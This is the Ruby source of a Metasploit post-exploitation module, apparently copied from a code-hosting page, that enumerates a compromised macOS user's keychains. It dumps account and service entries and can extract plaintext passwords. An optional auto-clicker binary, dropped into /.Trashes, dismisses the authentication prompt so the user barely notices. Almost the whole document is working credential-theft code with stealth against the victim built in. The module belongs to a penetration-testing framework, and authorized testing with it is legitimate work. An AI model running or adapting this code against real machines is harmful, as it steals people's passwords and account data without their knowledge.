160 lines
4.8 KiB
Ruby
160 lines
4.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::OSX::System
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'OS X Gather Keychain Enumeration',
|
|
'Description' => %q{
|
|
This module presents a way to quickly go through the current user's keychains and
|
|
collect data such as email accounts, servers, and other services. Please note:
|
|
when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
|
|
alert flash briefly on their screen that gets dismissed by a programmatically triggered click.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
|
|
'Platform' => [ 'osx' ],
|
|
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
|
|
OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
|
|
OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
|
|
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def list_keychains
|
|
keychains = cmd_exec('security list')
|
|
user = cmd_exec('whoami')
|
|
print_status("The following keychains for #{user.strip} were found:")
|
|
print_line(keychains.chomp)
|
|
return keychains =~ /No such file or directory/ ? nil : keychains
|
|
end
|
|
|
|
def enum_accounts(_keychains)
|
|
user = cmd_exec('whoami').chomp
|
|
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
|
|
|
|
accounts = []
|
|
|
|
out.split("\n").each do |line|
|
|
next if line =~ /NULL/
|
|
|
|
case line
|
|
when /"acct"/
|
|
accounts << Hash.new
|
|
accounts.last['acct'] = line.split('<blob>=')[1].split('"')[1]
|
|
when /"srvr"/
|
|
accounts.last['srvr'] = line.split('<blob>=')[1].split('"')[1]
|
|
when /"svce"/
|
|
accounts.last['svce'] = line.split('<blob>=')[1].split('"')[1]
|
|
when /"desc"/
|
|
accounts.last['desc'] = line.split('<blob>=')[1].split('"')[1]
|
|
end
|
|
end
|
|
|
|
accounts
|
|
end
|
|
|
|
def get_passwords(accounts)
|
|
(1..accounts.count).each do |num|
|
|
if accounts[num].key?('srvr')
|
|
c = 'find-internet-password'
|
|
s = accounts[num]['srvr']
|
|
else
|
|
c = 'find-generic-password'
|
|
s = accounts[num]['svce']
|
|
end
|
|
|
|
cmd = cmd_exec("security #{c} -ga \"#{accounts[num]['acct']}\" -s \"#{s}\" 2>&1")
|
|
|
|
cmd.split("\n").each do |line|
|
|
if line =~ /password: /
|
|
if line.split[1].nil?
|
|
accounts[num]['pass'] = nil
|
|
else
|
|
accounts[num]['pass'] = line.split[1].gsub('"', '')
|
|
end
|
|
end
|
|
end
|
|
end
|
|
return accounts
|
|
end
|
|
|
|
def save(data, kind = 'Keychain information')
|
|
l = store_loot('macosx.keychain.info',
|
|
'plain/text',
|
|
session,
|
|
data,
|
|
'keychain_info.txt',
|
|
'Mac Keychain Account/Server/Service/Description')
|
|
|
|
print_good("#{@peer} - #{kind} saved in #{l}")
|
|
end
|
|
|
|
def run
|
|
@peer = "#{session.session_host}:#{session.session_port}"
|
|
|
|
keychains = list_keychains
|
|
if keychains.nil?
|
|
print_error("#{@peer} - Module timed out, no keychains found.")
|
|
return
|
|
end
|
|
|
|
user = cmd_exec('/usr/bin/whoami').chomp
|
|
accounts = enum_accounts(keychains)
|
|
save(accounts)
|
|
|
|
if datastore['GETPASS']
|
|
if datastore['GETPASS_AUTO_ACCEPT']
|
|
print_status("Writing auto-clicker to `#{clicker_file}'")
|
|
write_file(clicker_file, clicker_bin)
|
|
register_file_for_cleanup(clicker_file)
|
|
|
|
print_status('Dumping keychain with auto-clicker...')
|
|
passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
|
|
save(passwords, 'Plaintext passwords')
|
|
|
|
begin
|
|
count = JSON.parse(passwords).count
|
|
print_good("Successfully stole #{count} passwords")
|
|
rescue JSON::ParserError => e
|
|
print_error('Response was not valid JSON')
|
|
end
|
|
else
|
|
begin
|
|
passwords = get_passwords(accounts)
|
|
rescue StandardError
|
|
print_error("#{@peer} - Module timed out, no passwords found.")
|
|
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
|
|
end
|
|
save(passwords)
|
|
end
|
|
end
|
|
end
|
|
|
|
def clicker_file
|
|
@clicker_file ||=
|
|
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
|
|
end
|
|
|
|
def clicker_bin
|
|
File.read(File.join(
|
|
Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
|
|
))
|
|
end
|
|
|
|
end
|